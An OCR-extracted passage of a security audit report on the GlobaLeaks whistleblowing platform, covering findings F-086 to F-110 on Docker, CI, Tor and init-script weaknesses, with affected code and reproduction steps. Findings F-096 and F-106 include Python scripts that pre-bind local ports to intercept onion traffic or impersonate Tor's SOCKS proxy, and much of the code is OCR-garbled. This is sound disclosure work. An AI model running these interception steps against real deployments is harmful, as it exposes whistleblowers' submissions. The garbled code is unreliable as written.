26 gl obal eaks/ gl obal eaks: | at est

PoC

The issue can be reproduced by reading the Docker installation instructions.

Steps to reproduce
1. Inspect the Docker README.

nl -ba docker/ Readne. nd

2. Inspect the main installation guide.
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nl -ba docunentation/setup/installation.rst | sed -n '17,27p'
3. Observe the image reference.
Bot h exanpl es use gl obal eaks/ gl obal eaks: | at est .

Expected result

Documentation should recommend a versioned tag or digest-pinned image reference for production
deployments.

Actual result

Documentation recommends the mutable | atest tag.

Impact

This is a deployment reproducibility and supply-chain hygiene issue. It can lead to unplanned upgrades or make
incident response harder because the deployed image may not be tied to an immutable version.

Impacted users or systems:

e Operators following the Docker installation documentation.

e Production deployments requiring reproducibility or change control.

CONFIDENTIALITY INTEGRITY AVAILABILITY
Low Low Low

Use of Unmaintained Third Party Components
CWE-829 ) Inclusion of Functionality from Untrusted Control Sphere
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10.36 F-086 - Docker build installs a locally built
package

A local package dropped into the Docker build context can override the signed installation path and change the
image contents.

IMPACT COMPONENT FOUND BY
Build integrity risk Docker GPT-5.5 medium v1

The Docker build copies arbitrary files from docker/files/ into /tnp/ ,and the installer installs
/tnp/ gl obal eaks. deb directly with dpkg -i when present. This local testing path bypasses APT repository
signature verification and can accidentally be used in production builds.

Details

The Dockerfile and install script support an implicit local package override.

A ected source code, component, endpoint, or function:

docker/ Dockerfil e
scripts/install.sh
docker/files/

Description:

docker/Dockerfile copies all files from docker/files/ into /tmp/. If a file named globaleaks.deb exists there,
scripts/install.sh installs it directly using dpkg -i. This path does not use the signed APT repository metadata and
does not verify a detached signature or expected digest.

This may be intentional for testing local builds, but it is implicit. A stale, malicious, or unintended
docker/files/globaleaks.deb can alter the produced image while bypassing the normal repository trust chain.

Relevant code:

docker/ Dockerfil e:
20 OCPY files/* [tnp/

scripts/install.sh:

143 if [ -f /tnp/global eaks.deb ]; then

144  dpkg -i /tnp/global eaks.deb || apt --fix-broken install -y

145 el se

146  echo "Addi ng d obalLeaks PGP key to trusted APT keys"

157 DO "apt install -y --no-install-reconmends python3-nunkres gl obal eaks"
158 fi

PoC

The issue can be reproduced by placing any local package named gl obal eaks. deb under docker/files/ and
building the Docker image.

Steps to reproduce
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1. Put a locally built or modified package at the implicit override path.

cp /path/to/ gl obal eaks. deb docker/fil es/ gl obal eaks. deb

2. Build the image.

docker build -f docker/Dockerfile docker

3. Observe the install path.

The installer uses dpkg -i /tnp/global eaks. deb instead of installing gl obal eaks
fromthe signed APT repository.

Expected result

Local package installation should require an explicit build argument or separate testing Dockerfile, and the
package should be verified by digest or signature before installation.

Actual result

Any docker/fil es/ gl obal eaks. deb copiedinto /tnp/ isinstalled directly.

Impact

This is a build integrity issue. It a ects maintainers and Cl/release builders when a local package is unintentionally
present or when the build context is modified by an attacker with write access before image build.

Impacted users or systems:
e Dockerimage builders using the repository build context.

e Downstream users of images produced from an unintended local package.

CONFIDENTIALITY INTEGRITY AVAILABILITY
High High High

CWE-345 ) Insu cient Verification of Data Authenticity
Missing Support for Integrity Check
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10.37 F-088 - Docker Compose lacks additional
runtime hardening directives

The Docker Compose example doesn't set extra hardening such as a read-only filesystem or dropped
capabilities.

IMPACT COMPONENT FOUND BY
Post-exploit hardening gap Docker GPT-5.5 medium v1

The Docker image runs as a non-root UID, but the Compose configurations do not explicitly drop Linux
capabilities, enforce no- new pri vil eges , use a read-only root filesystem, or define tmpfs-backed writable
runtime paths. This leaves more container runtime attack surface than necessary for a security-sensitive service.

Details

The runtime configuration has limited hardening beyond the Dockerfile USER .

A ected source code, component, endpoint, or function:

docker/ Dockerfil e
docker / docker - conpose. yni
docker / gener at e_docker _conpose. sh

Description:

docker/Dockerfile correctly switches to USER 1000:1000. However, neither docker/docker-composeyml nor
docker/generate_docker_compose.sh declares hardening options such as cap_drop: [ALL], security_opt: ['no-
new-privileges:true"], read_only: true, or tmpfs mounts for /run/globaleaks, /tmp, and /dev/shm.

The Debian AppArmor profile in debian/apparmor/usrbin.globaleaks is not automatically applied to Docker
containers by this compose configuration. As a result, deployments using the provided compose files depend
mostly on Docker defaults rather than an explicit least-privilege runtime profile.

Relevant code:

docker/ Dockerfil e:
32 RN nkdir -p /run/ gl obal eaks & chown -R gl obal eaks: gl obal eaks /run/ gl obal eaks
36 USER 1000: 1000

docker / docker - conpose. ynt :

8 restart: unl ess-stopped

10 net wor k_node: host

11 vol unes:

12 - gl obal eaks: /var/ gl obal eaks: rw

docker/ gener at e_docker _conpose. sh:

52 restart: unl ess-stopped

54 net wor k_node: bri dge

55 vol unes:

56 - gl obal eaks: /var/ gl obal eaks: rw
PoC
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The issue can be reproduced by inspecting the e ective Docker Compose configuration.

Steps to reproduce

1. Render the static compose configuration.

cd docker
docker conpose config

2. Search for runtime hardening directives.

docker conpose config | grep -E 'cap_drop| no- new
privileges|read_only| tnpfs|security_opt' || true

3. Observe the result.

No explicit capability drop, no-newprivileges, read-only root filesystem or
tnpfs runtinme paths are configured.

Expected result

The compose configuration should explicitly define least-privilege runtime controls compatible with GlobalLeaks,
such as dropped capabilities, no-new pri vil eges , and constrained writable paths.

Actual result

The provided compose configuration relies on Docker defaults plus the non-root user.

Impact

This is a defense-in-depth weakness. It does not by itself create remote code execution, but it can increase post-
exploitation impact if an application vulnerability or dependency vulnerability is triggered inside the container.

Impacted users or systems:

e Docker deployments using the provided compose files.

e Hosts relying on the container boundary to reduce post-compromise impact.

CONFIDENTIALITY INTEGRITY AVAILABILITY
Low Low Low

CWE-250 ) Execution with Unnecessary Privileges
CWE-693 ) Protection Mechanism Failure
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10.38 F-090 - Documentation recommends the
o cial remote install script

The documented install flow asks operators to execute a remote script without an independent integrity-
verification step.

IMPACT COMPONENT FOUND BY
Supply-chain hardening gap Documentation GPT-5.5 medium v1

The installation documentation instructs operators to download instal|.sh over HTTPS and execute it without

documenting an independent signature, checksum, or key fingerprint verification step. A compromise of the
download path or publication process could lead operators to execute attacker-controlled code during
installation.

Details

The simplified installation guide uses a remote shell script as the initial trust root.

A ected source code, component, endpoint, or function:

docunent ati on/ setup/installation.rst
scripts/install.sh

Description:

The documentation tells operators to fetch https://deb. gl obal eaks. org/instal | .sh , mark it executable, and

run it. The instructions do not include a detached signature verification, checksum verification against an
authenticated channel, or verification of the repository signing key fingerprint before executing the script.

Although HTTPS protects against many network attackers, it does not provide independent content verification if
the hosting origin, DNS, CA ecosystem, or publication workflow is compromised. For security-sensitive software,
installation documentation should prefer signed package manager flows or explicit verification before code
execution.

Relevant code:

docurent ation/setup/installation.rst:

9 Toinstall, run the follow ng conmands:

13 wget https://deb. gl obal eaks. org/install.sh
14 chnod +x install.sh

15 .linstall.sh

scripts/install.sh:

146 echo "Addi ng Q obalLeaks PGP key to trusted APT keys"

147 curl -sS https://deb. gl obal eaks. or g/ gl obal eaks. asc | gpg --dearnor -o /etc/apt/
trust ed. gpg. d/ gl obal eaks. gpg

150 echo "deb [signed-by=/etc/apt/trusted. gpg. d/ gl obal eaks. gpg] https://

deb. gl obal eaks. org $DI STRO CODENAME/ " > /et c/ apt/ sources. | i st. d/ gl obal eaks. | i st

PoC

The issue can be reproduced by inspecting the installation guide and installer trust path.
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Steps to reproduce

1. Inspect the installation guide.

nl -ba docunentation/setup/installation.rst | sed -n "9, 16p'

2. Inspect the installer key bootstrap.

nl -ba scripts/install.sh | sed -n '143,151p'

ISGroup SRL

Via Cantarane, 14
37129 Verona (VR)
PIVA IT 04164220230
REA VR-397513

ISGroup

Public disclosure permitted

3. Observe the absence of an independent verification command before execution.

The docunented flow runs the downl oaded install.sh before any docunented
signature, checksum or fingerprint verification.

Expected result

Documentation should recommend an installation path that verifies trusted content before execution, such as
signed APT repository setup with a documented key fingerprint or detached signature verification for

install.sh .

Actual result

Documentation instructs operators to execute the downloaded script directly after chnod +x .

Impact

This is a supply-chain documentation weakness. It a ects operators who follow the documented installation steps
on new systems and trust the downloaded script as the initial root of trust.

Impacted users or systems:

o Operators installing GlobalLeaks from the simplified installation guide.

o New deployments where the install script is executed with administrative privileges.

CONFIDENTIALITY INTEGRITY
High High

Download of Code Without Integrity Check

AVAILABILITY
High

Inclusion of Functionality from Untrusted Control Sphere
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10.39 F-093 - Cl workflow depends on a mutable
third-party image
The Cl job is not fully immutable because a pinned action still resolves a third-party container by mutable tag.

IMPACT COMPONENT FOUND BY
Cl hardening gap Workflow GPT-5.5 medium v1

The publiccode. ymi validation workflow pins the external GitHub Action to a commit, but that action builds
from a Docker image referenced by tag: italia publiccode-parser-go: v5. 3. 1 . Because container tags are
mutable in common registry workflows, the workflow's e ective runtime dependency is not fully immutable.

Details

A ected source code, component, endpoint, or function:

. gi t hub/ wor kf | ows/ publ i ccode-yni -val i dati on. ym
italialpubliccode-parser-acti on@1086c73ec0563e14c6748787ef alb34b025ad8c

Description:

The repository workflow correctly pins acti ons/ checkout and italia/publiccode-parser-action tocommit
hashes. However, the pinned publiccode parser action is a Docker action whose Dockerfil e uses the base
image italia/publiccode-parser-go:v5.3.1 .Thatreference is a mutable tag rather than an immutable digest.

Pinning the GitHub Action commit protects the action repository contents, but it does not by itself guarantee that
the container base image resolved during action execution is immutable. If the tag is changed or re-published
upstream, future workflow runs can execute a di erent parser image than the one previously reviewed.

Relevant code:

. gi t hub/ wor kf | ows/ publ i ccode-yni -val i dati on. ym :

14 - uses: actions/checkout @e0Of ac2e4500dabe0009e67214f f 5f 5447ce83dd # v6. 0. 2
15 - uses: italia/publiccode-parser-acti on@1086c73ec0563e14c6748787ef alb34b0
25ad8c # v1.5.1

16 Wi th:

17 publ i ccode: ' publiccode. ym '

italialpubliccode-parser-acti on@1086c73ec0563e14c6748787ef alb34b025ad8c
Dockerfile:
1 FRMitalial publiccode-parser-go:v5. 3.1

PoC

The issue can be reproduced by inspecting the workflow and the pinned action's Dockerfile.

Steps to reproduce

1. Inspect the workflow and confirm the publiccode parser action is pinned to a commit.

nl -ba . github/workf| ows/ publ i ccode-yn -val i dati on. ym
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2. Fetch the Dockerfile for the pinned action commit.

curl -fsSL https://raw githubusercontent. coniitalia/publiccode-parser-action/
21086¢73ec0563e14c6748787ef alb34b025ad8c/ Dockerfil e

3. Observe that the action uses a tag rather than a digest-pinned image reference.

FROM i tal i a/ publ i ccode- parser-go: v5.3.1

Expected result

The workflow should execute dependencies that are pinned to immutable identifiers, such as a container image
digest, or should use a reviewed action version whose runtime image is itself digest-pinned.

Actual result

The workflow pins the action commit, but the action's container base image is selected through a mutable tag.

Impact

This is a Cl supply-chain hardening issue. A changed upstream image tag could alter the code that validates

publ i ccode. ym  and runs with read access to repository contents in GitHub Actions. The job uses read-only
permissions, which limits impact, but the action still executes in the Cl environment with network access and
access to the checked-out repository.

Impacted users or systems:

e Repository Cl runs for pushes and pull requests.

e Maintainers relying on commit-pinned actions for reproducible workflow execution.

CONFIDENTIALITY INTEGRITY AVAILABILITY
Low Low Low

Inclusion of Functionality from Untrusted Control Sphere
CWE-1104 ) Use of Unmaintained Third Party Components
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10.40 F-096 - Backend continues startup after
local onion-target port bind failure

If the local onion target port is preempted, the onion service can keep running while tra c is delivered to another
local process.

IMPACT COMPONENT FOUND BY
Tra cinterception Backend GPT-5.5 xhigh via
run_codex_cwe_line v2

Globaleaks continues startup when it cannot bind the local HTTP port used as the Tor onion service target. A
local low-privileged user who pre-binds 127. 0. 0. 1: 8083 before startup can make GlobalLeaks skip its local Tor

listener while the Tor service is still initialized to forward the public onion address to | ocal host : 8083 . Onion
users can then reach the local attacker's process instead of GlobalLeaks.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ settings. py: Settingsdass. __init__
backend/ gl obal eaks/ state. py: Stated ass. bi nd_tcp_ports
backend/ gl obal eaks/ backend. py: Servi ce. deferred_start

backend/ gl obal eaks/ nodel s/ config. py:initialize config
backend/ gl obal eaks/ servi ces/tor. py: Tor. | oad_oni on_servi ce and
Tor .| oad_al | _oni on_servi ces

Description:

The default backend configuration reserves 127.0. 0. 1: 8083 as the local HTTP listener for Tor-originated tra c.
If reserving that port fails, bind_tcp_ports() logs the failure and continues instead of aborting startup.

Later, deferred_start() adopts onlythe sockets that were successfully reserved, refreshes tenant cache, starts
jobs, and starts the Tor service. Default-mode tenants have an initialized onion address and t or_oni on_key , and

Tor . | oad_oni on_servi ce() always publishes the onion service backend as 80 | ocal host : 8083 without
verifying that GlobalLeaks owns that local listener.

This is materially distinct from the existing public HTTPS bind-failure report: this path does not depend on Debian
firewall redirection to 8443 . The a ected trust boundary is the Tor onion service forwarding public onion tra c to

a local high port that can be occupied by another local process.

Relevant code:
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# backend/ gl obal eaks/ setti ngs. py
sel f.bind_| ocal _ports = [8083]
sel f.bind_renote ports = [8080, 8443]

# backend/ gl obal eaks/ st at e. py
for port in self.settings.bind |ocal_ports:
sock, fail = reserve_tcp_socket('127.0.0.1", port)
if fail is not None:
log.err("Could not reserve socket for % (error: 9%)",
fail.args[0], fail.args[1])
conti nue

if port == 8443:

sel f. https_socks += [sock]
el se:

sel f. http_socks += [sock]

# backend/ gl obal eaks/ backend. py
for sock in self.state.http_socks:
listen_tcp_on_sock(reactor, sock.fileno(), self.api_factory)

sync_refresh_t enant _cache()
sync_initialize_sni map()
self.state.ormtp.start()
sel f.start_j obs()

# backend/ gl obal eaks/ model s/ confi g. py
if node == 'default':

vari abl es[' oni onservice'], variables['tor_onion_key'] =
gener at e_oni on_ser vi ce_v3()

# backend/ gl obal eaks/ servi ces/tor. py
hs_loc = '80 | ocal host: 8083'

oni on_servi ce = Epheneral Oni onServi ce. create(reactor, config, [hs_|loc],
pri vat e_key=key)

PoC

Steps to reproduce

1. On a host where GlobalLeaks is stopped, bind the local Tor target port as an unprivileged local user.

python3 - <<'PY'
inport socket
inport tine

s = socket . socket (socket . AF_| NET, socket. SOCK_STREAV)
s. set sockopt (socket . SOL_SOKET, socket.SO REUSEADDR, 1)
s.bind(('127.0.0.1', 8083))

s.listen(16)

print("attacker |listening on 127.0.0.1:8083")

whil e True:

conn, addr = s.accept()

data = conn. recv(4096)

print('received:', data[:200])

body = b'attacker-controlled 8083\n'

conn. sendal | (b' HTTP/ 1. 1 200 OGK\r\nCont ent - Type: text/pl ai n\r\nContent - Lengt h:
' + str(len(body)).encode() + b'\r\n\r\n" + body)

conn. cl ose()
PY

2. Start GlobalLeaks normally.
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sudo /etc/init.d/ global eaks start

3. Observe that startup continues after the local bind failure and the tenant still has an onion service configured.

Goul d not reserve socket for 8083 (error: Address already in use). G obaleaks is
now runni ng and accessible at the following urls:
- [Tor]: http://<tenant-onion-service>. oni on

4. Access the tenant onion address through Tor.

torsocks curl -i http://<tenant-onion-service>. onion/api/health

The request is delivered to the process that pre-bound 127.0. 0. 1: 8083 .

Expected result

Startup should fail closed when the configured local onion-service target listener cannot be reserved, or Tor onion
service publication should be skipped until GlobalLeaks has successfully bound and adopted the local target port.
Actual result

Globaleaks starts with a partial listener set. The Tor onion service is still initialized with 80 | ocal host : 8083 , so
public onion tra c can be forwarded to another local process that occupied the high port before startup.

Impact

This is a non-exit-on-failed-initialization vulnerability. A local low-privileged user on the host can preempt the Tor
backend listener and receive tra c intended for the GlobalLeaks onion service. Onion users may submit reports,
receipts, credentials, session tokens, files, or other sensitive whistleblowing data to the attacker's local process,
and the attacker can serve phishing or tampered responses from the expected onion address.

Impacted users or systems:

o Default-mode deployments with an initialized Tor onion service.

¢ Hosts where a low-privileged local user or compromised local service can bind 127.0. 0. 1: 8083 before
Globaleaks starts.

o Whistleblowers, recipients, or administrators using the platform onion address during the partial-start

condition.
CONFIDENTIALITY INTEGRITY AVAILABILITY
High High Medium

CWE-455 ) Non-exit on Failed Initialization
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10.41 F-106 - Fixed local Tor SOCKS port enables
local proxy impersonation

A local process that grabs the fixed SOCKS port can impersonate Tor for outbound connections the platform
assumes are anonymized.

IMPACT COMPONENT FOUND BY
Channel policy bypass Backend GPT-5.5, xhigh reasoning, v3

Globaleaks launches its bundled Tor process with a fixed local SOCKS port, 127.0. 0. 1: 9999 , and later routes
anonymized outbound HTTP and SMTP tra c to that same port without verifying that it is owned by the Tor
process started by GlobalLeaks. A local low-privileged user can bind 127. 0. 0. 1: 9999 before startup. If Tor
cannot claim the port, the Tor service failure is handled as a retrying background service error, while update
checks and anonymized mail paths still connectto 127.0.0. 1: 9999 whenever outgoing anonymization is
enabled. The local attacker can therefore impersonate the Tor SOCKS endpoint for outbound connections that
operators expected to be routed through Tor.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ settings. py: Settingsdass.__init__

backend/ gl obal eaks/ services/tor.py: Tor.__init_ (), Tor.operation()
backend/ gl obal eaks/ servi ces/ servi ce. py: Service.run()

backend/ gl obal eaks/ backend. py: Servi ce. start_j obs()

backend/ gl obal eaks/ state. py: Stated ass.get_agent(), Stated ass.sendmail ()
backend/ gl obal eaks/ uti | s/ agent.py: get_tor_agent ()

backend/ gl obal eaks/ util s/ mail.py: sendnail ()

backend/ gl obal eaks/ j obs/ updat e_check. py: Updat eCheck. f et ch_packages_fi | e()

Description:

The backend default configuration reserves no socket for the Tor SOCKS listener. It simply configures
txtorcon. l aunch() toask Torto listenon State.settings.socks_port ,whose defaultis 9999 . This high
local port can be pre-bound by a low-privileged local user before GlobalLeaks starts.

The Tor service is a background = Servi ce . If Tor startup or control-port connection fails, Servi ce. run()
catches the exception and calls on_error () ; backend startup and other jobs are not failed closed. Separately,
outbound helper paths do not check State.tor.tor_conn , the Tor control connection, or ownership of the
SOCKS listener before using the fixed port.

State. get_agent () returns get_tor_agent(State. settings.socks_port) when outgoing anonymization is
enabled, and State.sendnail () passesthe same socks_port into utils.nail.sendnail () .Those functions
build client endpoints to 127.0. 0. 1: 0 . A fake local SOCKS5 service on 127.0. 0. 1: 9999 can therefore receive
SOCKS QCONNECT requests for update checks and anonymized SMTP connections.

This scenario concerns outbound tra c that GlobaLeaks believes is being anonymized through Tor but is instead
sent to a local attacker-controlled SOCKS service. It is separate from failures a ecting inbound public onion-
service tra c forwarded to a local HTTP listener.
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Relevant code:

backend/ gl obal eaks/ setti ngs. py

44 sel f. oni onservi ce = None
45

46 # SOOKS def aul t

a7 sel f.socks_port = 9999

backend/ gl obal eaks/ servi ces/ tor. py

23 def __init_ (self):

24 sel f.tor = txtorcon.|aunch(

25 reactor,

26 socks_port=State. settings. socks_port,

27 control _port="unix:' + State.settings.tor_control,
28 )

29

30 Service. __init_ (self)

backend/ gl obal eaks/ servi ces/ servi ce. py

21 @lef er.inlineCal | backs

22 def run(self):

23 try:

24 yield sel f.operation()

25 except Exception as e:

26 if not self.state.shutdown:
27 sel f.on_error(e)

backend/ gl obal eaks/ backend. py

53 def start_jobs(self):

54 for j in jobs_list:

55 sel f.state. | obs. append(j ())

56

57 self.state.tor = tor. Tor()

58 sel f. state. services. append(sel f.state.tor)

59

60 sel f.state.jobs_nonitor = job.JobsMonitor(self.state.jobs)

backend/ gl obal eaks/ st at e. py

116 def get_agent (self):

117 if 1 not in self.tenants or self.tenants[1].cache. anonym ze_out goi ng_c
onnect i ons:

118 return get_tor_agent (sel f.settings.socks_port)

119

120 return get_web_agent ()

backend/ gl obal eaks/ uti | s/ agent . py
8 def get_tor_agent (socks_port=9999):

17 tor Server Endpoi nt = TCP4d i ent Endpoi nt (reactor, b"127.0.0.1", socks_port)

18
19 return SOOKS5Agent (reactor, proxyEndpoi nt =t or Server Endpoi nt)
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backend/ gl obal eaks/ st at e. py

206 return sendnail (tid,

207 sel f.tenants[tid].cache. notification.sntp_server,

218 sel f. tenant s[ 1] . cache. anonyni ze_out goi ng_connect i ons,
219 sel f. settings. socks_port)

backend/ gl obal eaks/ util s/ mail . py

93 if anonym ze:

94 socksProxy = TCP4d i ent Endpoi nt (reactor, "127.0.0.1", socks_port,
ti neout =ti neout)

95 endpoi nt = SOKS5d i ent Endpoi nt (snt p_host . encode(' utf-8"),
snip_port, socksProxy)

96 el se:

97 endpoi nt = TCP4d i ent Endpoi nt (reactor, sntp_host, sntp_port,

ti meout =t i meout )

backend/ gl obal eaks/ j obs/ updat e_check. py
73 cl ass Updat eCheck( Hour | yJob) :

76 def fetch_packages_file(self):
7 return get_page(sel f.state. get_agent (), DEB PACKAGE URL)

PoC

Steps to reproduce

1. Confirm that the default SOCKS port is an unprivileged local high port that a local user can bind before
Globaleaks starts.

python3 - <<'PY'
inport socket

s = socket . socket (socket . AF_| NET, socket.SOCK_STREAM
s.bind(('127.0.0.1', 9999))

s.listen(1)

print('attacker |istening on 127.0.0.1:9999")

s. cl ose()

PY

2. Run a fake SOCKSS listener as a low-privileged local user before starting GlobalLeaks.
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python3 - <<'PY'
inport socket
inport struct

s = socket . socket (socket . AF_| NET, socket.SOCK_STREAV)
s. set sockopt (socket . SOL_SOKET, socket.SO REUSEADDR 1)
s.bind(('127.0.0.1", 9999))

s.listen(16)

print('fake SOXKS listening on 127.0.0.1: 9999" )

while True:

conn, addr = s.accept()

data = conn. r ecv(4096)

print("initial SOXKS bytes:', data[:200].hex())

if data.startsw th(b'\x05\x01\ x00\ x05\ x01\ x00\ x03" ) :
host _| en = dat a[ 6]
host = data[7:7 + host_| en].decode('ascii', 'replace")
port = struct.unpack('!H, data[7 + host_len:9 + host_|en])[0]
print('requested target:', host, port)

conn. sendal | (b'\ x05\ x00" )

conn. sendal | (b'\ x05\ x00\ x00\ x01\ x00\ x00\ x00\ x00\ x00\ x00' )

3. Start Global eaks with outgoing anonymization enabled ( anonyni ze_out goi ng_connect i ons=t r ue ) and trigger
an outbound path such as the update check or an outgoing notification email.

State. tenant s[ 1] . cache. anonyni ze_out goi ng_connecti ons = true
Updat eCheck. f et ch_packages_file() or State.sendmail(...)

On a packaged deployment this can be triggered by the periodic update-check job or by queuing a notification
email while outgoing anonymization is enabled.

4. Observe that the fake listener receives SOCKS5 handshake data and the requested outbound target, for
example the update-check package URL host or the configured SMTP host.

fake SOCKS |istening on 127.0.0. 1: 9999
initial SOCKS bytes: 05010005010003116465622e676c6f 62616c65616b732e6f 726701bb
requested target: deb. gl obal eaks. org 443

The repository-local execution environment used for this audit did not include Twisted, so the full Twisted client
path was not executed in-process here. The production requirements include Twisted and txtorcon, and the
source-to-sink path above is direct: both get _tor_agent() and sendnail (..., anonym ze=True) create client
endpoints to 127.0.0. 1: 0 without verifying Tor ownership.

Expected result

When outgoing anonymization is enabled, outbound HTTP and SMTP tra ¢ should be sent only through the Tor
process started and controlled by GlobalLeaks. If Tor cannot bind or authenticate its SOCKS listener, outbound
anonymized operations should fail closed rather than connecting to an arbitrary process on the same fixed port.
Actual result

Globaleaks uses a fixed high SOCKS port and later trusts whatever service is listening on that port. A local
process that pre-binds 127.0. 0. 1: 9999 can impersonate the Tor SOCKS endpoint for anonymized outbound
tra c.

Impact
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This is a local communication-channel impersonation issue. A low-privileged local user or compromised local
service can preempt the fixed SOCKS port and receive outbound connections that operators expected to be
routed through Tor. Depending on the outbound path and notification configuration, the attacker can observe
destinations and timing, block anonymized update/mail operations, relay tra ¢ outside Tor, and potentially
inspect or modify unencrypted SMTP tra c. For SMTP TLS/SSL deployments, content interception may require
combining this issue with a TLS interception condition such as the already-filed SMTP hostname-validation
weakness; the SOCKS impersonation primitive is still distinct because it gives the local attacker the proxy position
that the backend treats as trusted Tor.

Impacted users or systems:

e Deployments where anonyni ze_out goi ng_connecti ons is enabled.

e Hosts where a low-privileged local user or compromised local process can bind 127. 0. 0. 1: 9999 before
Globaleaks starts.

e Operators relying on Tor to anonymize outbound update checks or notification mail transport.

CONFIDENTIALITY INTEGRITY AVAILABILITY
Low Low Medium

Improper Verification of Source of a Communication Channel
Improper Restriction of Communication Channel to Intended Endpoints
Non-exit on Failed Initialization
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10.42 F-110 - Init script reads reachable_via_web
from default workdir before override

On non-default working directories, the init script can read the wrong database and expose web ports despite a
Tor-only setting.

IMPACT COMPONENT FOUND BY
Channel policy bypass Debian GPT-5.5, xhigh reasoning, v3

The Debian init script decides whether to install public 80 and 443 firewall redirects by reading

reachabl e_vi a_web from the default /var/gl obal eaks database before it sources

/et c/ def aul t/ gl obal eaks . If an operator uses /etc/ defaul t/ gl obal eaks to run GlobalLeaks from a non-
default WORKI NG DI R , the firewall decision can be based on a di erent database than the daemon later uses. A
deployment whose actual database has reachabl e_vi a_web=f al se can still have the standard public web
redirects installed, exposing the service on 80/ 443 despite the operator's Tor-only reachability setting.

Details

A ected source code, component, endpoint, or function:

debi an/ gl obal eaks. init: startup configuration order and network_sandboxi ng_start()
backend/ def aul t: default WORKING DI R

debi an/ defaul t: operator override file

backend/ bi n/ gl - admi n: get _var (), add_wor ki ngdi r_path_arg()

backend/ bi n/ gl obal eaks: --working-path option handling

backend/ gl obal eaks/ settings. py: Settings.working_path and | oad_cndl i ne_options()

Description:

The init script documents its intended configuration order as package defaults, web configuration, then
/et c/ def aul t/ gl obal eaks overrides. However, it computes REACHABLE VI A WEB before reading
/ etc/ defaul t/ gl obal eaks . The check is hard-coded to the default database path: it tests
/var/ gl obal eaks/ gl obal eaks. db and calls gl -adm n getvar reachabl e via_web without passing --
workdir .

gl -admi n 's default workdiris Setti ngs. wor ki ng_pat h , which defaults to /var/ gl obal eaks . Only after this
check does the init script source /et c/ defaul t/ gl obal eaks ,where WRKI NG D R can be changed. The
daemon is then started with - -wor ki ng- pat h=${ WRKING D R} .

As a result, the init script can install REDI RECT rules for public ports 80 and 443 based on the default
database even when the actual database used by the daemon isa di erent WORKING DR whose

reachabl e via web valueis fal se . This bypasses the packaged firewall part of the global Tor-only reachability
control.

This init-order failure is separate from direct reachability of backend high ports after the init script correctly skips
standard redirects. Here, the package can install standard 80/ 443 redirects even though the active database
says web reachability is disabled.

Relevant code:
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debi an/ gl obal eaks. i ni t

24
25 # QLobalLeaks configuration is read with the follow ng order:
26 # 1) /usr/sharel gl obal eaks/ def aul t

27 # 2) web configuration

28 # 3) /etc/defaul t/gl obal eaks

33 if test -e "/usr/sharel/ gl obal eaks/defaul t* ; then

34 . "lusr/sharel gl obal eaks/ def aul t"
35 fi
36

37 REACHABLE VI A VEB=1

ISGroup SRL
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38 if [[ -f /var/global eaks/ gl obal eaks. db & "$(gl -adnin getvar reachabl e_via_web

2>&1)" == "False" ]]; then

39 REACHABLE VI A WEB=0

40 fi

41

42 if test -e "/etc/defaul t/gl obal eaks" ; then
43 . "letc/defaul t/gl obal eaks"

44 fi

debi an/ gl obal eaks. i ni t

106 if [[ "$REACHABLE IA WEB' -eq "1" ]]; then
107 i ptabl es -mcoment --comment "gl obal eaks" -t nat -A PREROUTING -p tcp
--dport 80 -j REDI RECT --to-port 8080

108 i p6t abl es -m comrent --comment “gl obal eaks" -t nat -A PRERQUTING - p
tcp --dport 80 -j RED RECT --to-port 8080

109

110 iptabl es -mcomment --conment "gl obal eaks" -t nat -A PRERCUTING -p tcp

--dport 443 -j RED RECT --to-port 8443

111 i p6tabl es -mcoment --comment "gl obal eaks" -t nat -A PRERQUTING -p

tcp --dport 443 -j REDI RECT --to-port 8443

debi an/ gl obal eaks. i ni t

151 ARGS="- - i p=${ LI STENI NG | P}

152 --wor ki ng- pat h=${ WORKING D R "

163 if start-stop-daenon \

164 --start \

170 -- --profile=usr.bin.gl obal eaks $DAEMIN $ARCS

backend/ def aul t
13 # WIRKING DR

14 # must be configured with the daenon working directory
15 WORKI NG DI R=/ var/ gl obal eaks/

backend/ bi n/ gl - adm n

263 def get_var(args):
264 db_pat h = check_db(args. workdir)

307 def add_wor ki ngdi r_pat h_ar g( parser):

308 par ser. add_ar gurrent ("-w',

309 "--workdir",

310 hel p="the directory that hosts the gl obal eaks data
storage",

311 def aul t =Set ti ngs. wor ki ng_pat h)
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backend/ bi n/ gl obal eaks

57 parser.add_option("-w', "--working-path", type="string",
58 hel p="set the backend working directory"”,
59 dest ="wor ki ng_pat h", def aul t =None)

85 Settings. | oad_cnl i ne_options(options)

backend/ gl obal eaks/ setti ngs. py

37 sel f.worki ng_path = '/var/gl obal eaks’

132 if options.working_pat h:

133 sel f. worki ng_path = options. worki ng_pat h
PoC

Steps to reproduce

1. On a Debian-packaged deployment, configure Globaleaks to use a non-default working directory by setting
WRKING DR in /etc/defaul t/global eaks .

sudo install -d -o global eaks -g gl obal eaks -m 700 /srv/ gl obal eaks-al t
sudo sh -c¢ 'printf "9%\n" "WRKI NG D R=/srv/ gl obal eaks-alt" >> /etc/defaul t/
gl obal eaks'

2.In the active database under /srv/ gl obal eaks-al t , disable web reachability, for example through the
administrator network page or the admin network API. The important active-database state is:

I srv/ gl obal eaks-al t/ gl obal eaks. db: reachabl e_via_web = fal se

3. Ensure that the default database used by the init script is absent, or that its reachabl e_vi a_web value is not
Fal se .

/var/ gl obal eaks/ gl obal eaks. db: absent or reachabl e via web = true

4. Restart the packaged service. During startup, the init script evaluates REACHABLE VI A VEB before it sources
/ et c/ def aul t/ gl obal eaks , so it either sees no default database or reads the default database value with gl -
adm n getvar reachabl e_via web .Itthen sources /etc/default/global eaks and starts the daemon with the

alternate working path.

sudo /etc/init.d/global eaks restart

5. Observe that the standard-port redirect rules are installed even though the active database has web
reachability disabled.

sudo i ptabl es-save | grep 'comment "gl obal eaks"' | grep -E 'dport (80|443)|to-
ports? (8080| 8443)"

Expected rule evidence includes redirects similar to:
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-A PRERQUTING -p tcp -mtcp --dport 80 -mconnent --comment gl obal eaks -j RED RECT
--to-ports 8080

-A PRERQUTING -p tcp -mtcp --dport 443 -mconment --comment gl obal eaks -j

REDI RECT --to-ports 8443

6. From a remote client, access the service on standard HTTPS while selecting the root tenant with a local Host
header. This uses the same backend trust boundary as the existing high-port advisory, but the client no longer
needs direct reachability to 8443 ; the packaged redirect exposes it on 443 .

curl -k -i "https://TARGET/ api/public' -H ' Host: |ocal host'

Expected result

The init script should evaluate reachabl e_vi a_web from the same working directory that it later passes to the
